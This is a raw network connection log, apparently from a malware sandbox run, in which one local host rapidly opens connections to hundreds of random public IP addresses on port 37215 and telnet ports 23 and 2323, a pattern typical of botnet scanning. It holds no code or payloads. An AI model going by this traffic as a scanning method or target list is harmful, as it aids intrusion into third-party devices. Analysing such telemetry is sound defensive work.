Nov 3, 2024 15:33:05.199460983 CET	23	59110	124.151.144.57	192.168.2.14
Nov 3, 2024 15:33:05.199724913 CET	60694	37215	192.168.2.14	156.138.106.102
Nov 3, 2024 15:33:05.200097084 CET	49474	23	192.168.2.14	12.80.90.209
Nov 3, 2024 15:33:05.201056004 CET	4847	37215	192.168.2.14	41.26.62.39
Nov 3, 2024 15:33:05.201060057 CET	4847	37215	192.168.2.14	197.165.200.73
Nov 3, 2024 15:33:05.201060057 CET	4847	37215	192.168.2.14	156.46.215.245
Nov 3, 2024 15:33:05.201070070 CET	4847	37215	192.168.2.14	156.200.189.247
Nov 3, 2024 15:33:05.201091051 CET	4847	37215	192.168.2.14	156.3.192.93
Nov 3, 2024 15:33:05.201091051 CET	4847	37215	192.168.2.14	197.207.91.219
Nov 3, 2024 15:33:05.201092958 CET	4847	37215	192.168.2.14	197.172.239.179
Nov 3, 2024 15:33:05.201095104 CET	4847	37215	192.168.2.14	156.153.138.191
Nov 3, 2024 15:33:05.201096058 CET	4847	37215	192.168.2.14	156.133.30.219
Nov 3, 2024 15:33:05.201109886 CET	4847	37215	192.168.2.14	156.151.206.243
Nov 3, 2024 15:33:05.201109886 CET	4847	37215	192.168.2.14	41.179.89.104
Nov 3, 2024 15:33:05.201109886 CET	4847	37215	192.168.2.14	197.14.171.27
Nov 3, 2024 15:33:05.201113939 CET	4847	37215	192.168.2.14	156.28.93.163
Nov 3, 2024 15:33:05.201113939 CET	4847	37215	192.168.2.14	156.120.123.160
Nov 3, 2024 15:33:05.201113939 CET	4847	37215	192.168.2.14	41.50.182.70
Nov 3, 2024 15:33:05.201113939 CET	4847	37215	192.168.2.14	156.70.37.214
Nov 3, 2024 15:33:05.201116085 CET	4847	37215	192.168.2.14	156.95.156.83
Nov 3, 2024 15:33:05.201116085 CET	4847	37215	192.168.2.14	156.20.31.127
Nov 3, 2024 15:33:05.201133013 CET	4847	37215	192.168.2.14	156.164.137.103
Nov 3, 2024 15:33:05.201133013 CET	4847	37215	192.168.2.14	41.14.61.40
Nov 3, 2024 15:33:05.201134920 CET	4847	37215	192.168.2.14	156.100.102.204
Nov 3, 2024 15:33:05.201134920 CET	4847	37215	192.168.2.14	41.32.251.165
Nov 3, 2024 15:33:05.201134920 CET	4847	37215	192.168.2.14	156.214.23.238
Nov 3, 2024 15:33:05.201136112 CET	4847	37215	192.168.2.14	41.233.121.193
Nov 3, 2024 15:33:05.201137066 CET	4847	37215	192.168.2.14	41.225.86.68
Nov 3, 2024 15:33:05.201137066 CET	4847	37215	192.168.2.14	156.15.179.225
Nov 3, 2024 15:33:05.201137066 CET	4847	37215	192.168.2.14	197.33.122.145
Nov 3, 2024 15:33:05.201149940 CET	4847	37215	192.168.2.14	156.106.113.224
Nov 3, 2024 15:33:05.201150894 CET	4847	37215	192.168.2.14	197.157.25.203
Nov 3, 2024 15:33:05.201152086 CET	4847	37215	192.168.2.14	156.62.99.20
Nov 3, 2024 15:33:05.201158047 CET	4847	37215	192.168.2.14	41.253.86.137
Nov 3, 2024 15:33:05.201160908 CET	4847	37215	192.168.2.14	156.56.217.113
Nov 3, 2024 15:33:05.201160908 CET	4847	37215	192.168.2.14	41.158.102.60
Nov 3, 2024 15:33:05.201162100 CET	4847	37215	192.168.2.14	197.107.153.99
Nov 3, 2024 15:33:05.201163054 CET	4847	37215	192.168.2.14	197.250.39.133
Nov 3, 2024 15:33:05.201163054 CET	4847	37215	192.168.2.14	41.203.126.55
Nov 3, 2024 15:33:05.201174974 CET	4847	37215	192.168.2.14	197.242.7.112
Nov 3, 2024 15:33:05.201174974 CET	4847	37215	192.168.2.14	41.34.249.145
Nov 3, 2024 15:33:05.201174974 CET	4847	37215	192.168.2.14	41.220.13.233
Nov 3, 2024 15:33:05.201175928 CET	4847	37215	192.168.2.14	197.160.138.40
Nov 3, 2024 15:33:05.201178074 CET	50004	23	192.168.2.14	12.80.90.209
Nov 3, 2024 15:33:05.201174974 CET	4847	37215	192.168.2.14	41.63.35.63
Nov 3, 2024 15:33:05.201174974 CET	4847	37215	192.168.2.14	156.200.48.48
Nov 3, 2024 15:33:05.201181889 CET	4847	37215	192.168.2.14	197.59.57.231
Nov 3, 2024 15:33:05.201181889 CET	4847	37215	192.168.2.14	197.159.35.63
Nov 3, 2024 15:33:05.201181889 CET	4847	37215	192.168.2.14	156.206.233.200
Nov 3, 2024 15:33:05.201181889 CET	4847	37215	192.168.2.14	41.61.94.191
Nov 3, 2024 15:33:05.201186895 CET	4847	37215	192.168.2.14	156.163.23.108
Nov 3, 2024 15:33:05.201186895 CET	4847	37215	192.168.2.14	41.220.138.254
Nov 3, 2024 15:33:05.201193094 CET	4847	37215	192.168.2.14	197.80.160.72
Nov 3, 2024 15:33:05.201198101 CET	4847	37215	192.168.2.14	156.243.131.125
Nov 3, 2024 15:33:05.201200962 CET	4847	37215	192.168.2.14	41.121.60.16
Nov 3, 2024 15:33:05.201203108 CET	4847	37215	192.168.2.14	197.153.149.26
Nov 3, 2024 15:33:05.201203108 CET	4847	37215	192.168.2.14	156.197.154.31
Nov 3, 2024 15:33:05.201210976 CET	4847	37215	192.168.2.14	41.194.214.216
Nov 3, 2024 15:33:05.201212883 CET	4847	37215	192.168.2.14	156.240.145.142
Nov 3, 2024 15:33:05.201214075 CET	4847	37215	192.168.2.14	156.138.114.135
Nov 3, 2024 15:33:05.201215982 CET	4847	37215	192.168.2.14	41.97.228.94
Nov 3, 2024 15:33:05.201216936 CET	4847	37215	192.168.2.14	156.167.15.5
Nov 3, 2024 15:33:05.201216936 CET	4847	37215	192.168.2.14	41.97.206.23
Nov 3, 2024 15:33:05.201216936 CET	4847	37215	192.168.2.14	41.30.57.84
Nov 3, 2024 15:33:05.201219082 CET	4847	37215	192.168.2.14	156.129.251.48
Nov 3, 2024 15:33:05.201219082 CET	4847	37215	192.168.2.14	41.151.23.46
Nov 3, 2024 15:33:05.201231956 CET	4847	37215	192.168.2.14	156.41.66.239
Nov 3, 2024 15:33:05.201231956 CET	4847	37215	192.168.2.14	41.233.230.63
Nov 3, 2024 15:33:05.201234102 CET	4847	37215	192.168.2.14	41.71.118.91
Nov 3, 2024 15:33:05.201236010 CET	4847	37215	192.168.2.14	41.103.27.234
Nov 3, 2024 15:33:05.201236010 CET	4847	37215	192.168.2.14	41.46.132.156
Nov 3, 2024 15:33:05.201237917 CET	4847	37215	192.168.2.14	197.218.60.80
Nov 3, 2024 15:33:05.201237917 CET	4847	37215	192.168.2.14	41.204.65.150
Nov 3, 2024 15:33:05.201246023 CET	4847	37215	192.168.2.14	41.70.158.104
Nov 3, 2024 15:33:05.201246023 CET	4847	37215	192.168.2.14	197.171.249.153
Nov 3, 2024 15:33:05.201246977 CET	4847	37215	192.168.2.14	156.205.157.216
Nov 3, 2024 15:33:05.201255083 CET	4847	37215	192.168.2.14	41.193.211.137
Nov 3, 2024 15:33:05.201255083 CET	4847	37215	192.168.2.14	197.235.243.92
Nov 3, 2024 15:33:05.201256990 CET	4847	37215	192.168.2.14	197.229.212.70
Nov 3, 2024 15:33:05.201256990 CET	4847	37215	192.168.2.14	156.149.14.249
Nov 3, 2024 15:33:05.201258898 CET	4847	37215	192.168.2.14	156.201.65.99
Nov 3, 2024 15:33:05.201265097 CET	4847	37215	192.168.2.14	41.88.251.164
Nov 3, 2024 15:33:05.201268911 CET	4847	37215	192.168.2.14	197.45.185.79
Nov 3, 2024 15:33:05.201278925 CET	4847	37215	192.168.2.14	156.200.55.221
Nov 3, 2024 15:33:05.201287031 CET	4847	37215	192.168.2.14	41.216.50.53
Nov 3, 2024 15:33:05.201287985 CET	4847	37215	192.168.2.14	41.231.168.132
Nov 3, 2024 15:33:05.201294899 CET	4847	37215	192.168.2.14	197.31.118.97
Nov 3, 2024 15:33:05.201298952 CET	4847	37215	192.168.2.14	156.222.100.93
Nov 3, 2024 15:33:05.201301098 CET	4847	37215	192.168.2.14	41.232.12.129
Nov 3, 2024 15:33:05.201301098 CET	4847	37215	192.168.2.14	41.63.99.115
Nov 3, 2024 15:33:05.201313019 CET	4847	37215	192.168.2.14	156.240.27.135
Nov 3, 2024 15:33:05.201313972 CET	4847	37215	192.168.2.14	156.60.189.197
Nov 3, 2024 15:33:05.201318026 CET	4847	37215	192.168.2.14	156.233.238.107
Nov 3, 2024 15:33:05.201318026 CET	4847	37215	192.168.2.14	156.3.131.243
Nov 3, 2024 15:33:05.201322079 CET	4847	37215	192.168.2.14	197.5.249.109
Nov 3, 2024 15:33:05.201322079 CET	4847	37215	192.168.2.14	197.67.209.249
Nov 3, 2024 15:33:05.201323032 CET	4847	37215	192.168.2.14	156.85.89.189
Nov 3, 2024 15:33:05.201323032 CET	4847	37215	192.168.2.14	156.134.99.138
Nov 3, 2024 15:33:05.201323032 CET	4847	37215	192.168.2.14	41.165.226.88
Nov 3, 2024 15:33:05.201330900 CET	4847	37215	192.168.2.14	156.213.200.177
Nov 3, 2024 15:33:05.201334000 CET	4847	37215	192.168.2.14	41.136.28.138
Nov 3, 2024 15:33:05.201335907 CET	4847	37215	192.168.2.14	156.99.197.234
Nov 3, 2024 15:33:05.201335907 CET	4847	37215	192.168.2.14	156.226.28.3
Nov 3, 2024 15:33:05.201337099 CET	4847	37215	192.168.2.14	41.129.184.142
Nov 3, 2024 15:33:05.201338053 CET	4847	37215	192.168.2.14	197.72.251.155
Nov 3, 2024 15:33:05.201338053 CET	4847	37215	192.168.2.14	41.20.167.44
Nov 3, 2024 15:33:05.201344967 CET	4847	37215	192.168.2.14	41.185.223.237
Nov 3, 2024 15:33:05.201345921 CET	4847	37215	192.168.2.14	197.170.194.79
Nov 3, 2024 15:33:05.201345921 CET	4847	37215	192.168.2.14	197.42.37.110
Nov 3, 2024 15:33:05.201354027 CET	4847	37215	192.168.2.14	156.178.50.210
Nov 3, 2024 15:33:05.201358080 CET	4847	37215	192.168.2.14	197.168.134.67
Nov 3, 2024 15:33:05.201358080 CET	4847	37215	192.168.2.14	156.246.40.39
Nov 3, 2024 15:33:05.201359034 CET	4847	37215	192.168.2.14	41.23.164.83
Nov 3, 2024 15:33:05.201389074 CET	4847	37215	192.168.2.14	197.171.84.222
Nov 3, 2024 15:33:05.201389074 CET	4847	37215	192.168.2.14	156.139.129.171
Nov 3, 2024 15:33:05.201389074 CET	4847	37215	192.168.2.14	156.167.117.29
Nov 3, 2024 15:33:05.201396942 CET	4847	37215	192.168.2.14	41.127.115.4
Nov 3, 2024 15:33:05.201404095 CET	4847	37215	192.168.2.14	156.162.79.84
Nov 3, 2024 15:33:05.201404095 CET	4847	37215	192.168.2.14	156.219.237.113
Nov 3, 2024 15:33:05.201411009 CET	4847	37215	192.168.2.14	41.81.192.227
Nov 3, 2024 15:33:05.201414108 CET	4847	37215	192.168.2.14	156.212.115.250
Nov 3, 2024 15:33:05.201414108 CET	4847	37215	192.168.2.14	156.124.210.222
Nov 3, 2024 15:33:05.201421976 CET	4847	37215	192.168.2.14	197.132.11.196
Nov 3, 2024 15:33:05.201421976 CET	4847	37215	192.168.2.14	41.240.129.101
Nov 3, 2024 15:33:05.201427937 CET	23	51852	220.94.249.244	192.168.2.14
Nov 3, 2024 15:33:05.201428890 CET	4847	37215	192.168.2.14	156.127.94.91
Nov 3, 2024 15:33:05.201431036 CET	4847	37215	192.168.2.14	41.94.78.50
Nov 3, 2024 15:33:05.201431036 CET	4847	37215	192.168.2.14	41.42.62.116
Nov 3, 2024 15:33:05.201437950 CET	4847	37215	192.168.2.14	197.54.11.118
Nov 3, 2024 15:33:05.201446056 CET	4847	37215	192.168.2.14	197.209.11.228
Nov 3, 2024 15:33:05.201447964 CET	4847	37215	192.168.2.14	41.121.116.71
Nov 3, 2024 15:33:05.201448917 CET	4847	37215	192.168.2.14	156.156.143.70
Nov 3, 2024 15:33:05.201447964 CET	4847	37215	192.168.2.14	156.219.58.164
Nov 3, 2024 15:33:05.201455116 CET	4847	37215	192.168.2.14	41.98.134.173
Nov 3, 2024 15:33:05.201455116 CET	4847	37215	192.168.2.14	197.233.153.201
Nov 3, 2024 15:33:05.201484919 CET	4847	37215	192.168.2.14	197.141.6.76
Nov 3, 2024 15:33:05.201487064 CET	4847	37215	192.168.2.14	197.137.73.29
Nov 3, 2024 15:33:05.201487064 CET	4847	37215	192.168.2.14	41.97.224.17
Nov 3, 2024 15:33:05.201493025 CET	4847	37215	192.168.2.14	41.67.77.236
Nov 3, 2024 15:33:05.201493979 CET	4847	37215	192.168.2.14	197.216.74.63
Nov 3, 2024 15:33:05.201494932 CET	4847	37215	192.168.2.14	156.124.12.50
Nov 3, 2024 15:33:05.201494932 CET	4847	37215	192.168.2.14	156.3.221.212
Nov 3, 2024 15:33:05.201499939 CET	4847	37215	192.168.2.14	41.202.231.8
Nov 3, 2024 15:33:05.201508045 CET	4847	37215	192.168.2.14	197.29.10.165
Nov 3, 2024 15:33:05.201513052 CET	4847	37215	192.168.2.14	156.211.143.5
Nov 3, 2024 15:33:05.201520920 CET	4847	37215	192.168.2.14	41.72.25.33
Nov 3, 2024 15:33:05.201520920 CET	4847	37215	192.168.2.14	156.34.165.158
Nov 3, 2024 15:33:05.201520920 CET	4847	37215	192.168.2.14	156.191.0.154
Nov 3, 2024 15:33:05.201523066 CET	4847	37215	192.168.2.14	156.226.204.73
Nov 3, 2024 15:33:05.201527119 CET	4847	37215	192.168.2.14	197.134.118.195
Nov 3, 2024 15:33:05.201529026 CET	4847	37215	192.168.2.14	156.209.84.217
Nov 3, 2024 15:33:05.201533079 CET	4847	37215	192.168.2.14	197.244.184.115
Nov 3, 2024 15:33:05.201536894 CET	4847	37215	192.168.2.14	41.213.4.193
Nov 3, 2024 15:33:05.201541901 CET	4847	37215	192.168.2.14	156.216.208.2
Nov 3, 2024 15:33:05.201545000 CET	4847	37215	192.168.2.14	156.29.5.114
Nov 3, 2024 15:33:05.201546907 CET	4847	37215	192.168.2.14	41.233.29.131
Nov 3, 2024 15:33:05.201546907 CET	4847	37215	192.168.2.14	197.237.15.67
Nov 3, 2024 15:33:05.201565027 CET	4847	37215	192.168.2.14	41.187.9.3
Nov 3, 2024 15:33:05.201571941 CET	4847	37215	192.168.2.14	197.111.22.208
Nov 3, 2024 15:33:05.201571941 CET	38836	2323	192.168.2.14	209.9.141.12
Nov 3, 2024 15:33:05.201572895 CET	4847	37215	192.168.2.14	156.80.54.26
Nov 3, 2024 15:33:05.201572895 CET	4847	37215	192.168.2.14	197.193.158.108
Nov 3, 2024 15:33:05.201574087 CET	4847	37215	192.168.2.14	156.226.101.219
Nov 3, 2024 15:33:05.201581955 CET	4847	37215	192.168.2.14	156.158.155.243
Nov 3, 2024 15:33:05.201586962 CET	4847	37215	192.168.2.14	41.226.67.4
Nov 3, 2024 15:33:05.201590061 CET	4847	37215	192.168.2.14	197.79.250.6
Nov 3, 2024 15:33:05.201590061 CET	4847	37215	192.168.2.14	197.18.33.72
Nov 3, 2024 15:33:05.201590061 CET	4847	37215	192.168.2.14	156.215.248.52
Nov 3, 2024 15:33:05.201596975 CET	4847	37215	192.168.2.14	156.253.47.216
Nov 3, 2024 15:33:05.201601982 CET	4847	37215	192.168.2.14	41.168.212.104
Nov 3, 2024 15:33:05.201603889 CET	4847	37215	192.168.2.14	156.64.19.16
Nov 3, 2024 15:33:05.201606989 CET	4847	37215	192.168.2.14	156.2.132.248
Nov 3, 2024 15:33:05.201606989 CET	4847	37215	192.168.2.14	41.90.127.250
Nov 3, 2024 15:33:05.201607943 CET	4847	37215	192.168.2.14	197.159.191.95
Nov 3, 2024 15:33:05.201610088 CET	4847	37215	192.168.2.14	156.135.113.95
Nov 3, 2024 15:33:05.201617956 CET	4847	37215	192.168.2.14	41.1.126.222
Nov 3, 2024 15:33:05.201618910 CET	4847	37215	192.168.2.14	41.40.135.115
Nov 3, 2024 15:33:05.201618910 CET	4847	37215	192.168.2.14	197.178.212.134
Nov 3, 2024 15:33:05.201622009 CET	4847	37215	192.168.2.14	156.0.64.209
Nov 3, 2024 15:33:05.201622009 CET	4847	37215	192.168.2.14	197.46.146.2
Nov 3, 2024 15:33:05.201623917 CET	4847	37215	192.168.2.14	41.30.157.81
Nov 3, 2024 15:33:05.201632023 CET	4847	37215	192.168.2.14	41.228.137.76
Nov 3, 2024 15:33:05.201634884 CET	4847	37215	192.168.2.14	156.84.10.2
Nov 3, 2024 15:33:05.201641083 CET	4847	37215	192.168.2.14	41.157.202.216
Nov 3, 2024 15:33:05.201641083 CET	4847	37215	192.168.2.14	156.139.223.150
Nov 3, 2024 15:33:05.201649904 CET	4847	37215	192.168.2.14	156.163.52.102
Nov 3, 2024 15:33:05.201652050 CET	4847	37215	192.168.2.14	197.66.95.171
Nov 3, 2024 15:33:05.201656103 CET	4847	37215	192.168.2.14	197.117.51.201
Nov 3, 2024 15:33:05.201656103 CET	4847	37215	192.168.2.14	156.52.92.75
Nov 3, 2024 15:33:05.201668978 CET	4847	37215	192.168.2.14	41.180.24.19
Nov 3, 2024 15:33:05.201668978 CET	4847	37215	192.168.2.14	156.11.9.221
Nov 3, 2024 15:33:05.201672077 CET	4847	37215	192.168.2.14	156.44.85.238
Nov 3, 2024 15:33:05.201677084 CET	4847	37215	192.168.2.14	156.81.213.119
Nov 3, 2024 15:33:05.201677084 CET	4847	37215	192.168.2.14	197.15.222.28
Nov 3, 2024 15:33:05.201678038 CET	4847	37215	192.168.2.14	156.170.243.54
Nov 3, 2024 15:33:05.201678038 CET	4847	37215	192.168.2.14	156.127.77.82
Nov 3, 2024 15:33:05.201679945 CET	4847	37215	192.168.2.14	156.36.210.155
Nov 3, 2024 15:33:05.201680899 CET	4847	37215	192.168.2.14	41.81.158.22
Nov 3, 2024 15:33:05.201694012 CET	4847	37215	192.168.2.14	41.79.165.243
Nov 3, 2024 15:33:05.201695919 CET	4847	37215	192.168.2.14	156.188.74.159
Nov 3, 2024 15:33:05.201700926 CET	4847	37215	192.168.2.14	41.155.87.76
Nov 3, 2024 15:33:05.201719999 CET	4847	37215	192.168.2.14	197.115.39.205
Nov 3, 2024 15:33:05.201720953 CET	4847	37215	192.168.2.14	197.165.221.41
Nov 3, 2024 15:33:05.201725006 CET	4847	37215	192.168.2.14	156.254.126.8
Nov 3, 2024 15:33:05.201726913 CET	4847	37215	192.168.2.14	197.200.148.182
Nov 3, 2024 15:33:05.201726913 CET	4847	37215	192.168.2.14	156.144.193.81
Nov 3, 2024 15:33:05.201734066 CET	4847	37215	192.168.2.14	197.248.97.252
Nov 3, 2024 15:33:05.201739073 CET	4847	37215	192.168.2.14	41.138.111.236
Nov 3, 2024 15:33:05.201744080 CET	4847	37215	192.168.2.14	156.241.245.236
Nov 3, 2024 15:33:05.201744080 CET	4847	37215	192.168.2.14	41.80.15.199
Nov 3, 2024 15:33:05.201752901 CET	4847	37215	192.168.2.14	156.95.5.118
Nov 3, 2024 15:33:05.201757908 CET	4847	37215	192.168.2.14	197.123.150.186
Nov 3, 2024 15:33:05.201757908 CET	4847	37215	192.168.2.14	156.245.164.156
Nov 3, 2024 15:33:05.201757908 CET	4847	37215	192.168.2.14	41.220.160.204
Nov 3, 2024 15:33:05.201757908 CET	4847	37215	192.168.2.14	156.30.2.10
Nov 3, 2024 15:33:05.201766968 CET	4847	37215	192.168.2.14	41.51.143.122
Nov 3, 2024 15:33:05.201766968 CET	4847	37215	192.168.2.14	41.207.134.189
Nov 3, 2024 15:33:05.201770067 CET	4847	37215	192.168.2.14	197.12.91.11
Nov 3, 2024 15:33:05.201781034 CET	4847	37215	192.168.2.14	41.154.188.150
Nov 3, 2024 15:33:05.201781988 CET	4847	37215	192.168.2.14	197.140.235.231
Nov 3, 2024 15:33:05.201781988 CET	4847	37215	192.168.2.14	156.211.16.149
Nov 3, 2024 15:33:05.201782942 CET	4847	37215	192.168.2.14	197.112.40.72
Nov 3, 2024 15:33:05.201782942 CET	4847	37215	192.168.2.14	197.41.63.155
Nov 3, 2024 15:33:05.201785088 CET	4847	37215	192.168.2.14	41.230.91.246
Nov 3, 2024 15:33:05.201792955 CET	4847	37215	192.168.2.14	156.62.153.186
Nov 3, 2024 15:33:05.201797962 CET	4847	37215	192.168.2.14	197.70.209.42
Nov 3, 2024 15:33:05.201805115 CET	4847	37215	192.168.2.14	197.40.208.22
Nov 3, 2024 15:33:05.201805115 CET	4847	37215	192.168.2.14	156.141.157.190
Nov 3, 2024 15:33:05.201807976 CET	4847	37215	192.168.2.14	41.246.37.252
Nov 3, 2024 15:33:05.201812029 CET	4847	37215	192.168.2.14	156.74.253.15
Nov 3, 2024 15:33:05.201816082 CET	4847	37215	192.168.2.14	156.61.213.128
Nov 3, 2024 15:33:05.201817989 CET	4847	37215	192.168.2.14	156.91.6.179
Nov 3, 2024 15:33:05.201823950 CET	4847	37215	192.168.2.14	41.46.42.225
Nov 3, 2024 15:33:05.201823950 CET	4847	37215	192.168.2.14	41.30.200.128
Nov 3, 2024 15:33:05.201841116 CET	4847	37215	192.168.2.14	41.6.15.145
Nov 3, 2024 15:33:05.201841116 CET	4847	37215	192.168.2.14	41.32.187.43
Nov 3, 2024 15:33:05.201841116 CET	4847	37215	192.168.2.14	41.164.109.202
Nov 3, 2024 15:33:05.201841116 CET	4847	37215	192.168.2.14	156.65.15.126
Nov 3, 2024 15:33:05.201850891 CET	4847	37215	192.168.2.14	197.78.20.104
Nov 3, 2024 15:33:05.201860905 CET	4847	37215	192.168.2.14	41.138.174.202
Nov 3, 2024 15:33:05.201865911 CET	4847	37215	192.168.2.14	197.130.172.13
Nov 3, 2024 15:33:05.201867104 CET	4847	37215	192.168.2.14	156.202.113.115
Nov 3, 2024 15:33:05.201869965 CET	4847	37215	192.168.2.14	41.96.9.238
Nov 3, 2024 15:33:05.201872110 CET	4847	37215	192.168.2.14	197.222.70.80
Nov 3, 2024 15:33:05.201879025 CET	4847	37215	192.168.2.14	156.141.179.128
Nov 3, 2024 15:33:05.201879025 CET	4847	37215	192.168.2.14	197.10.128.206
Nov 3, 2024 15:33:05.201883078 CET	4847	37215	192.168.2.14	156.81.160.191
Nov 3, 2024 15:33:05.201890945 CET	4847	37215	192.168.2.14	197.78.85.172
Nov 3, 2024 15:33:05.201891899 CET	4847	37215	192.168.2.14	156.32.180.147
Nov 3, 2024 15:33:05.201894045 CET	39364	2323	192.168.2.14	209.9.141.12
Nov 3, 2024 15:33:05.201894045 CET	4847	37215	192.168.2.14	156.34.224.77
Nov 3, 2024 15:33:05.201900959 CET	4847	37215	192.168.2.14	197.139.94.106
Nov 3, 2024 15:33:05.201900959 CET	4847	37215	192.168.2.14	197.76.167.138
Nov 3, 2024 15:33:05.201910019 CET	4847	37215	192.168.2.14	197.121.117.113
Nov 3, 2024 15:33:05.201910973 CET	4847	37215	192.168.2.14	197.53.101.239
Nov 3, 2024 15:33:05.201910973 CET	4847	37215	192.168.2.14	197.108.56.219
Nov 3, 2024 15:33:05.201911926 CET	4847	37215	192.168.2.14	156.250.239.118
Nov 3, 2024 15:33:05.201919079 CET	4847	37215	192.168.2.14	197.56.165.15
Nov 3, 2024 15:33:05.201926947 CET	4847	37215	192.168.2.14	156.2.222.113
Nov 3, 2024 15:33:05.201927900 CET	4847	37215	192.168.2.14	41.85.93.42
Nov 3, 2024 15:33:05.201926947 CET	4847	37215	192.168.2.14	156.182.245.18
Nov 3, 2024 15:33:05.201926947 CET	4847	37215	192.168.2.14	197.25.255.154
Nov 3, 2024 15:33:05.201936007 CET	4847	37215	192.168.2.14	41.139.174.52
Nov 3, 2024 15:33:05.201936007 CET	4847	37215	192.168.2.14	156.187.165.115
Nov 3, 2024 15:33:05.201936960 CET	4847	37215	192.168.2.14	156.175.240.32
Nov 3, 2024 15:33:05.201936960 CET	4847	37215	192.168.2.14	197.108.114.57
Nov 3, 2024 15:33:05.201941013 CET	4847	37215	192.168.2.14	156.225.67.12
Nov 3, 2024 15:33:05.201941967 CET	4847	37215	192.168.2.14	41.154.128.198
Nov 3, 2024 15:33:05.201951981 CET	4847	37215	192.168.2.14	197.168.205.127
Nov 3, 2024 15:33:05.201951981 CET	4847	37215	192.168.2.14	197.72.31.170
Nov 3, 2024 15:33:05.201953888 CET	4847	37215	192.168.2.14	156.50.251.82
Nov 3, 2024 15:33:05.201958895 CET	4847	37215	192.168.2.14	156.139.4.174
Nov 3, 2024 15:33:05.201958895 CET	4847	37215	192.168.2.14	197.70.71.120
Nov 3, 2024 15:33:05.201958895 CET	4847	37215	192.168.2.14	197.115.221.232
Nov 3, 2024 15:33:05.201958895 CET	4847	37215	192.168.2.14	156.237.226.249
Nov 3, 2024 15:33:05.201958895 CET	4847	37215	192.168.2.14	197.136.192.149
Nov 3, 2024 15:33:05.201972008 CET	4847	37215	192.168.2.14	41.22.94.84
Nov 3, 2024 15:33:05.201973915 CET	4847	37215	192.168.2.14	197.173.57.48
Nov 3, 2024 15:33:05.201975107 CET	4847	37215	192.168.2.14	156.34.235.70
Nov 3, 2024 15:33:05.201975107 CET	4847	37215	192.168.2.14	156.110.209.225
Nov 3, 2024 15:33:05.201987982 CET	4847	37215	192.168.2.14	156.30.75.145
Nov 3, 2024 15:33:05.201987982 CET	4847	37215	192.168.2.14	197.101.131.241
Nov 3, 2024 15:33:05.201987982 CET	4847	37215	192.168.2.14	156.173.93.33
Nov 3, 2024 15:33:05.201987982 CET	4847	37215	192.168.2.14	197.178.86.206
Nov 3, 2024 15:33:05.201987982 CET	4847	37215	192.168.2.14	197.149.204.73
Nov 3, 2024 15:33:05.201992989 CET	4847	37215	192.168.2.14	156.46.190.95
Nov 3, 2024 15:33:05.202012062 CET	4847	37215	192.168.2.14	156.17.82.106
Nov 3, 2024 15:33:05.202028036 CET	4847	37215	192.168.2.14	41.228.59.88
Nov 3, 2024 15:33:05.202033043 CET	4847	37215	192.168.2.14	156.67.108.201
Nov 3, 2024 15:33:05.202042103 CET	4847	37215	192.168.2.14	156.140.196.70
Nov 3, 2024 15:33:05.202042103 CET	4847	37215	192.168.2.14	41.40.7.56
Nov 3, 2024 15:33:05.202042103 CET	4847	37215	192.168.2.14	41.45.97.202
Nov 3, 2024 15:33:05.202050924 CET	4847	37215	192.168.2.14	156.94.157.148
Nov 3, 2024 15:33:05.202058077 CET	4847	37215	192.168.2.14	197.157.114.174
Nov 3, 2024 15:33:05.202061892 CET	4847	37215	192.168.2.14	197.45.6.2
Nov 3, 2024 15:33:05.202064037 CET	4847	37215	192.168.2.14	156.188.101.145
Nov 3, 2024 15:33:05.202064037 CET	4847	37215	192.168.2.14	41.132.29.141
Nov 3, 2024 15:33:05.202084064 CET	4847	37215	192.168.2.14	41.78.120.241
Nov 3, 2024 15:33:05.202084064 CET	4847	37215	192.168.2.14	197.242.219.5
Nov 3, 2024 15:33:05.202092886 CET	4847	37215	192.168.2.14	156.1.227.79
Nov 3, 2024 15:33:05.202092886 CET	4847	37215	192.168.2.14	197.222.183.220
Nov 3, 2024 15:33:05.202092886 CET	4847	37215	192.168.2.14	41.235.10.7
Nov 3, 2024 15:33:05.202092886 CET	4847	37215	192.168.2.14	41.97.59.23
Nov 3, 2024 15:33:05.202092886 CET	4847	37215	192.168.2.14	156.60.11.52
Nov 3, 2024 15:33:05.202092886 CET	4847	37215	192.168.2.14	197.36.226.236
Nov 3, 2024 15:33:05.202095985 CET	4847	37215	192.168.2.14	156.149.13.125
Nov 3, 2024 15:33:05.202096939 CET	4847	37215	192.168.2.14	41.175.171.183
Nov 3, 2024 15:33:05.202096939 CET	4847	37215	192.168.2.14	156.67.27.53
Nov 3, 2024 15:33:05.202105045 CET	4847	37215	192.168.2.14	197.178.36.119
Nov 3, 2024 15:33:05.202105999 CET	4847	37215	192.168.2.14	156.104.216.167
Nov 3, 2024 15:33:05.202110052 CET	4847	37215	192.168.2.14	156.82.110.113
Nov 3, 2024 15:33:05.202111006 CET	4847	37215	192.168.2.14	156.181.188.96
Nov 3, 2024 15:33:05.202112913 CET	4847	37215	192.168.2.14	41.167.105.32
Nov 3, 2024 15:33:05.202116013 CET	4847	37215	192.168.2.14	156.26.221.215
Nov 3, 2024 15:33:05.202116966 CET	4847	37215	192.168.2.14	156.217.2.171
Nov 3, 2024 15:33:05.202116013 CET	4847	37215	192.168.2.14	41.108.248.37
Nov 3, 2024 15:33:05.202128887 CET	4847	37215	192.168.2.14	197.103.99.97
Nov 3, 2024 15:33:05.202128887 CET	4847	37215	192.168.2.14	156.112.3.29
Nov 3, 2024 15:33:05.202136993 CET	4847	37215	192.168.2.14	156.129.172.145
Nov 3, 2024 15:33:05.202137947 CET	4847	37215	192.168.2.14	156.12.241.28
Nov 3, 2024 15:33:05.202156067 CET	4847	37215	192.168.2.14	41.9.177.85
Nov 3, 2024 15:33:05.202158928 CET	4847	37215	192.168.2.14	156.0.228.251
Nov 3, 2024 15:33:05.202155113 CET	4847	37215	192.168.2.14	156.228.206.26
Nov 3, 2024 15:33:05.202162981 CET	4847	37215	192.168.2.14	41.56.39.201
Nov 3, 2024 15:33:05.202162981 CET	4847	37215	192.168.2.14	156.157.222.151
Nov 3, 2024 15:33:05.202167034 CET	4847	37215	192.168.2.14	41.223.147.221
Nov 3, 2024 15:33:05.202171087 CET	4847	37215	192.168.2.14	197.166.224.231
Nov 3, 2024 15:33:05.202269077 CET	33698	37215	192.168.2.14	197.223.76.128
Nov 3, 2024 15:33:05.202342033 CET	33698	37215	192.168.2.14	197.223.76.128
Nov 3, 2024 15:33:05.202500105 CET	43170	23	192.168.2.14	76.244.142.178
Nov 3, 2024 15:33:05.203100920 CET	34274	37215	192.168.2.14	197.223.76.128
Nov 3, 2024 15:33:05.203193903 CET	23	57492	124.217.5.131	192.168.2.14
Nov 3, 2024 15:33:05.203286886 CET	43692	23	192.168.2.14	76.244.142.178
